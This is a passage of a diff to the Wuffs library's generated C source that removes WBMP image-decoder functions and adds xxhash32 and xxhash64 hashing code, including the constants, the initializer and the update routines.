-+ if (4u <= v_n) { -+ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | -+ (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | -+ (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | -+ (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); -+ v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); -+ v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); -+ v_ret *= 668265263u; -+ v_i = 4u; -+ } -+ if (8u <= v_n) { -+ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | -+ (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | -+ (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | -+ (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); -+ v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); -+ v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); -+ v_ret *= 668265263u; -+ v_i = 8u; - } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ if (12u <= v_n) { -+ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | -+ (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | -+ (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | -+ (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); -+ v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); -+ v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); -+ v_ret *= 668265263u; -+ v_i = 12u; - } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 3)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ while (v_i < v_n) { -+ v_ret += ((uint32_t)(((uint32_t)(self->private_impl.f_buf_data[v_i])) * 374761393u)); -+ v_ret = (((uint32_t)(v_ret << 11u)) | (v_ret >> 21u)); -+ v_ret *= 2654435761u; -+ v_i += 1u; - } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ v_ret ^= (v_ret >> 15u); -+ v_ret *= 2246822519u; -+ v_ret ^= (v_ret >> 13u); -+ v_ret *= 3266489917u; -+ v_ret ^= (v_ret >> 16u); -+ return v_ret; -+} - -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame(self, -- a_dst, -- a_src, -- a_blend, -- a_workbuf, -- a_opts); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) - -- ok: -- self->private_impl.p_decode_frame[0] = 0; -- goto exit; -- } -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) - -- goto suspend; -- suspend: -- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+// ---------------- Status Codes Implementations - -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; --} -+// ---------------- Private Consts - --// -------- func wbmp.decoder.do_decode_frame -+#define WUFFS_XXHASH64__XXH_PRIME64_1 11400714785074694791u - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_wbmp__decoder__do_decode_frame( -- wuffs_wbmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+#define WUFFS_XXHASH64__XXH_PRIME64_2 14029467366897019727u - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint64_t v_dst_bytes_per_pixel = 0; -- uint64_t v_dst_x_in_bytes = 0; -- uint32_t v_dst_x = 0; -- uint32_t v_dst_y = 0; -- wuffs_base__table_u8 v_tab = {0}; -- wuffs_base__slice_u8 v_dst = {0}; -- uint8_t v_src[1] = {0}; -- uint8_t v_c = 0; -+#define WUFFS_XXHASH64__XXH_PRIME64_3 1609587929392839161u - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+#define WUFFS_XXHASH64__XXH_PRIME64_4 9650029242287828579u - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; -- if (coro_susp_point) { -- v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel; -- v_dst_x = self->private_data.s_do_decode_frame[0].v_dst_x; -- v_dst_y = self->private_data.s_do_decode_frame[0].v_dst_y; -- memcpy(v_src, self->private_data.s_do_decode_frame[0].v_src, sizeof(v_src)); -- v_c = self->private_data.s_do_decode_frame[0].v_c; -- } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+#define WUFFS_XXHASH64__XXH_PRIME64_5 2870177450012600261u - -- if (self->private_impl.f_call_sequence == 64u) { -- } else if (self->private_impl.f_call_sequence < 64u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_wbmp__decoder__do_decode_frame_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } -- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -- wuffs_base__pixel_buffer__pixel_format(a_dst), -- wuffs_base__pixel_buffer__palette(a_dst), -- wuffs_base__utility__make_pixel_format(536870920u), -- wuffs_base__utility__empty_slice_u8(), -- a_blend); -- if ( ! wuffs_base__status__is_ok(&v_status)) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -- } -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -- goto exit; -- } -- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); -- if (self->private_impl.f_width > 0u) { -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- while (v_dst_y < self->private_impl.f_height) { -- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_dst_y); -- v_dst_x = 0u; -- while (v_dst_x < self->private_impl.f_width) { -- if ((v_dst_x & 7u) == 0u) { -- while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_dst_y); -- v_dst_x_in_bytes = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); -- if (v_dst_x_in_bytes <= ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_x_in_bytes); -- } -- } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- } -- if ((v_c & 128u) == 0u) { -- v_src[0u] = 0u; -- } else { -- v_src[0u] = 255u; -- } -- v_c = ((uint8_t)((((uint32_t)(v_c)) << 1u))); -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__utility__empty_slice_u8(), wuffs_base__make_slice_u8(v_src, 1)); -- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); -- } -- v_dst_x += 1u; -- } -- v_dst_y += 1u; -- } -- } -- self->private_impl.f_call_sequence = 96u; -+#define WUFFS_XXHASH64__INITIAL_V0 6983438078262162902u - -- ok: -- self->private_impl.p_do_decode_frame[0] = 0; -- goto exit; -- } -+#define WUFFS_XXHASH64__INITIAL_V1 14029467366897019727u - -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; -- self->private_data.s_do_decode_frame[0].v_dst_x = v_dst_x; -- self->private_data.s_do_decode_frame[0].v_dst_y = v_dst_y; -- memcpy(self->private_data.s_do_decode_frame[0].v_src, v_src, sizeof(v_src)); -- self->private_data.s_do_decode_frame[0].v_c = v_c; -+#define WUFFS_XXHASH64__INITIAL_V2 0u - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+#define WUFFS_XXHASH64__INITIAL_V3 7046029288634856825u - -- return status; --} -+// ---------------- Private Initializer Prototypes - --// -------- func wbmp.decoder.frame_dirty_rect -+// ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_wbmp__decoder__frame_dirty_rect( -- const wuffs_wbmp__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -+static wuffs_base__empty_struct -+wuffs_xxhash64__hasher__up( -+ wuffs_xxhash64__hasher* self, -+ wuffs_base__slice_u8 a_x); - -- return wuffs_base__utility__make_rect_ie_u32( -- 0u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height); --} -+// ---------------- VTables - --// -------- func wbmp.decoder.num_animation_loops -+const wuffs_base__hasher_u64__func_ptrs -+wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64 = { -+ (uint64_t(*)(const void*))(&wuffs_xxhash64__hasher__checksum_u64), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_xxhash64__hasher__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_xxhash64__hasher__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update), -+ (uint64_t(*)(void*, -+ wuffs_base__slice_u8))(&wuffs_xxhash64__hasher__update_u64), -+}; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_wbmp__decoder__num_animation_loops( -- const wuffs_wbmp__decoder* self) { -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_xxhash64__hasher__initialize( -+ wuffs_xxhash64__hasher* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ - if (!self) { -- return 0; -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); - } - -- return 0u; --} -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } - --// -------- func wbmp.decoder.num_decoded_frame_configs -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__hasher_u64.vtable_name = -+ wuffs_base__hasher_u64__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__hasher_u64.function_pointers = -+ (const void*)(&wuffs_xxhash64__hasher__func_ptrs_for__wuffs_base__hasher_u64); -+ return wuffs_base__make_status(NULL); -+} - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_wbmp__decoder__num_decoded_frame_configs( -- const wuffs_wbmp__decoder* self) { -- if (!self) { -- return 0; -+wuffs_xxhash64__hasher* -+wuffs_xxhash64__hasher__alloc(void) { -+ wuffs_xxhash64__hasher* x = -+ (wuffs_xxhash64__hasher*)(calloc(1, sizeof(wuffs_xxhash64__hasher))); -+ if (!x) { -+ return NULL; - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ if (wuffs_xxhash64__hasher__initialize( -+ x, sizeof(wuffs_xxhash64__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; - } -+ return x; -+} - -- if (self->private_impl.f_call_sequence > 32u) { -- return 1u; -- } -- return 0u; -+size_t -+sizeof__wuffs_xxhash64__hasher(void) { -+ return sizeof(wuffs_xxhash64__hasher); - } - --// -------- func wbmp.decoder.num_decoded_frames -+// ---------------- Function Implementations -+ -+// -------- func xxhash64.hasher.get_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_wbmp__decoder__num_decoded_frames( -- const wuffs_wbmp__decoder* self) { -+wuffs_xxhash64__hasher__get_quirk( -+ const wuffs_xxhash64__hasher* self, -+ uint32_t a_key) { - if (!self) { - return 0; - } -@@ -61266,20 +76026,17 @@ wuffs_wbmp__decoder__num_decoded_frames( - return 0; - } - -- if (self->private_impl.f_call_sequence > 64u) { -- return 1u; -- } - return 0u; - } - --// -------- func wbmp.decoder.restart_frame -+// -------- func xxhash64.hasher.set_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__restart_frame( -- wuffs_wbmp__decoder* self, -- uint64_t a_index, -- uint64_t a_io_position) { -+wuffs_xxhash64__hasher__set_quirk( -+ wuffs_xxhash64__hasher* self, -+ uint32_t a_key, -+ uint64_t a_value) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -@@ -61290,77 +76047,206 @@ wuffs_wbmp__decoder__restart_frame( - : wuffs_base__error__initialize_not_called); - } - -- if (self->private_impl.f_call_sequence < 32u) { -- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- } -- if (a_index != 0u) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- self->private_impl.f_call_sequence = 40u; -- self->private_impl.f_frame_config_io_position = a_io_position; -- return wuffs_base__make_status(NULL); -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - --// -------- func wbmp.decoder.set_report_metadata -+// -------- func xxhash64.hasher.update - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_wbmp__decoder__set_report_metadata( -- wuffs_wbmp__decoder* self, -- uint32_t a_fourcc, -- bool a_report) { -+wuffs_xxhash64__hasher__update( -+ wuffs_xxhash64__hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ if (!self) { -+ return wuffs_base__make_empty_struct(); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); -+ } -+ -+ if ((self->private_impl.f_length_modulo_u64 == 0u) && ! self->private_impl.f_length_overflows_u64) { -+ self->private_impl.f_v0 = 6983438078262162902u; -+ self->private_impl.f_v1 = 14029467366897019727u; -+ self->private_impl.f_v2 = 0u; -+ self->private_impl.f_v3 = 7046029288634856825u; -+ } -+ wuffs_xxhash64__hasher__up(self, a_x); - return wuffs_base__make_empty_struct(); - } - --// -------- func wbmp.decoder.tell_me_more -+// -------- func xxhash64.hasher.update_u64 - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__tell_me_more( -- wuffs_wbmp__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_xxhash64__hasher__update_u64( -+ wuffs_xxhash64__hasher* self, -+ wuffs_base__slice_u8 a_x) { - if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ return 0; - } - if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 4)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ return 0; - } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); - -- status = wuffs_base__make_status(wuffs_base__error__no_more_information); -- goto exit; -+ wuffs_xxhash64__hasher__update(self, a_x); -+ return wuffs_xxhash64__hasher__checksum_u64(self); -+} - -- goto ok; -- ok: -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+// -------- func xxhash64.hasher.up -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_xxhash64__hasher__up( -+ wuffs_xxhash64__hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ uint64_t v_new_lmu = 0; -+ uint64_t v_buf_u64 = 0; -+ uint32_t v_buf_len = 0; -+ uint64_t v_v0 = 0; -+ uint64_t v_v1 = 0; -+ uint64_t v_v2 = 0; -+ uint64_t v_v3 = 0; -+ wuffs_base__slice_u8 v_p = {0}; -+ -+ v_new_lmu = ((uint64_t)(self->private_impl.f_length_modulo_u64 + ((uint64_t)(a_x.len)))); -+ self->private_impl.f_length_overflows_u64 = ((v_new_lmu < self->private_impl.f_length_modulo_u64) || self->private_impl.f_length_overflows_u64); -+ self->private_impl.f_length_modulo_u64 = v_new_lmu; -+ while (true) { -+ if (self->private_impl.f_buf_len >= 32u) { -+ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | -+ (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | -+ (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | -+ (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | -+ (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | -+ (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | -+ (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | -+ (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); -+ v_v0 = ((uint64_t)(self->private_impl.f_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -+ v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); -+ self->private_impl.f_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); -+ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | -+ (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | -+ (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | -+ (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | -+ (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | -+ (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | -+ (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | -+ (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); -+ v_v1 = ((uint64_t)(self->private_impl.f_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -+ v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); -+ self->private_impl.f_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); -+ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | -+ (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | -+ (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | -+ (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | -+ (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | -+ (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | -+ (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | -+ (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); -+ v_v2 = ((uint64_t)(self->private_impl.f_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -+ v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); -+ self->private_impl.f_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); -+ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[24u])) | -+ (((uint64_t)(self->private_impl.f_buf_data[25u])) << 8u) | -+ (((uint64_t)(self->private_impl.f_buf_data[26u])) << 16u) | -+ (((uint64_t)(self->private_impl.f_buf_data[27u])) << 24u) | -+ (((uint64_t)(self->private_impl.f_buf_data[28u])) << 32u) | -+ (((uint64_t)(self->private_impl.f_buf_data[29u])) << 40u) | -+ (((uint64_t)(self->private_impl.f_buf_data[30u])) << 48u) | -+ (((uint64_t)(self->private_impl.f_buf_data[31u])) << 56u)); -+ v_v3 = ((uint64_t)(self->private_impl.f_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -+ v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); -+ self->private_impl.f_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); -+ self->private_impl.f_buf_len = 0u; -+ break; -+ } -+ if (((uint64_t)(a_x.len)) <= 0u) { -+ return wuffs_base__make_empty_struct(); -+ } -+ self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; -+ self->private_impl.f_buf_len += 1u; -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); -+ } -+ v_buf_len = (self->private_impl.f_buf_len & 31u); -+ v_v0 = self->private_impl.f_v0; -+ v_v1 = self->private_impl.f_v1; -+ v_v2 = self->private_impl.f_v2; -+ v_v3 = self->private_impl.f_v3; -+ { -+ wuffs_base__slice_u8 i_slice_p = a_x; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 32; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); -+ while (v_p.ptr < i_end0_p) { -+ v_buf_u64 = (((uint64_t)(v_p.ptr[0u])) | -+ (((uint64_t)(v_p.ptr[1u])) << 8u) | -+ (((uint64_t)(v_p.ptr[2u])) << 16u) | -+ (((uint64_t)(v_p.ptr[3u])) << 24u) | -+ (((uint64_t)(v_p.ptr[4u])) << 32u) | -+ (((uint64_t)(v_p.ptr[5u])) << 40u) | -+ (((uint64_t)(v_p.ptr[6u])) << 48u) | -+ (((uint64_t)(v_p.ptr[7u])) << 56u)); -+ v_v0 = ((uint64_t)(v_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -+ v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); -+ v_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); -+ v_buf_u64 = (((uint64_t)(v_p.ptr[8u])) | -+ (((uint64_t)(v_p.ptr[9u])) << 8u) | -+ (((uint64_t)(v_p.ptr[10u])) << 16u) | -+ (((uint64_t)(v_p.ptr[11u])) << 24u) | -+ (((uint64_t)(v_p.ptr[12u])) << 32u) | -+ (((uint64_t)(v_p.ptr[13u])) << 40u) | -+ (((uint64_t)(v_p.ptr[14u])) << 48u) | -+ (((uint64_t)(v_p.ptr[15u])) << 56u)); -+ v_v1 = ((uint64_t)(v_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -+ v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); -+ v_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); -+ v_buf_u64 = (((uint64_t)(v_p.ptr[16u])) | -+ (((uint64_t)(v_p.ptr[17u])) << 8u) | -+ (((uint64_t)(v_p.ptr[18u])) << 16u) | -+ (((uint64_t)(v_p.ptr[19u])) << 24u) | -+ (((uint64_t)(v_p.ptr[20u])) << 32u) | -+ (((uint64_t)(v_p.ptr[21u])) << 40u) | -+ (((uint64_t)(v_p.ptr[22u])) << 48u) | -+ (((uint64_t)(v_p.ptr[23u])) << 56u)); -+ v_v2 = ((uint64_t)(v_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -+ v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); -+ v_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); -+ v_buf_u64 = (((uint64_t)(v_p.ptr[24u])) | -+ (((uint64_t)(v_p.ptr[25u])) << 8u) | -+ (((uint64_t)(v_p.ptr[26u])) << 16u) | -+ (((uint64_t)(v_p.ptr[27u])) << 24u) | -+ (((uint64_t)(v_p.ptr[28u])) << 32u) | -+ (((uint64_t)(v_p.ptr[29u])) << 40u) | -+ (((uint64_t)(v_p.ptr[30u])) << 48u) | -+ (((uint64_t)(v_p.ptr[31u])) << 56u)); -+ v_v3 = ((uint64_t)(v_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -+ v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); -+ v_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); -+ v_p.ptr += 32; -+ } -+ v_p.len = 1; -+ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); -+ while (v_p.ptr < i_end1_p) { -+ self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; -+ v_buf_len = ((v_buf_len + 1u) & 31u); -+ v_p.ptr += 1; -+ } -+ v_p.len = 0; - } -- return status; -+ self->private_impl.f_buf_len = v_buf_len; -+ self->private_impl.f_v0 = v_v0; -+ self->private_impl.f_v1 = v_v1; -+ self->private_impl.f_v2 = v_v2; -+ self->private_impl.f_v3 = v_v3; -+ return wuffs_base__make_empty_struct(); - } - --// -------- func wbmp.decoder.history_retain_length -+// -------- func xxhash64.hasher.checksum_u64 - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_wbmp__decoder__history_retain_length( -- const wuffs_wbmp__decoder* self) { -+wuffs_xxhash64__hasher__checksum_u64( -+ const wuffs_xxhash64__hasher* self) { - if (!self) { - return 0; - } -@@ -61369,83 +76255,307 @@ wuffs_wbmp__decoder__history_retain_length( - return 0; - } - -- return 0u; --} -- --// -------- func wbmp.decoder.workbuf_len -+ uint64_t v_ret = 0; -+ uint64_t v_v0 = 0; -+ uint64_t v_v1 = 0; -+ uint64_t v_v2 = 0; -+ uint64_t v_v3 = 0; -+ uint32_t v_i = 0; -+ uint32_t v_i8 = 0; 